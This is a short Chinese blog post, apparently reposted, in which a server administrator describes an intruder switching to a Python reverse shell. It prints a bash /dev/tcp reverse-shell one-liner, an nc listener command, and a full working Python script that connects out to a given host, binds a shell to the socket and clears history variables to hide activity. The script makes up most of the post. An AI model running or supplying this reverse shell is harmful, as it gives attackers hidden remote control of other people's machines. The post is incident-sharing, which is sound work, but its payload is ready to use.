以Python写的 反弹工具

python 反弹shell

我们知道,一般的反弹shell   

可以直接使用   base 反弹

bash -i >& /dev/tcp/ownip/port 0>&1

还可以使用一些简单的命令   nc  nmap 等等。。。。

nc -l -p port -vv xxx

经过前几次的攻击,他也变聪明了,知道我针对了php 的文件加强了管控,

所以它又有针对性的使用了Linux自带的Python  进行基于Python的反弹

源码:

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"

def usage(name):
    print 'python reverse connector'
    print 'usage: %s <ip_addr> <port>' % name

def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close()

if __name__ == '__main__':
    main()

很恶心啊 ,可以看到通过os函数,针对环境变量无限向我服务器上传参

我查询资料 还发现  即使你禁所有端口,只开放80 端口,也还能通过Python绕过去TCP。从UDP上去。恶心至极啊!!!

谢邀大神

友情链接:

https://www.cnblogs.com/mujj/articles/3272401.html 

原文地址:https://www.cnblogs.com/huidou/p/10761491.html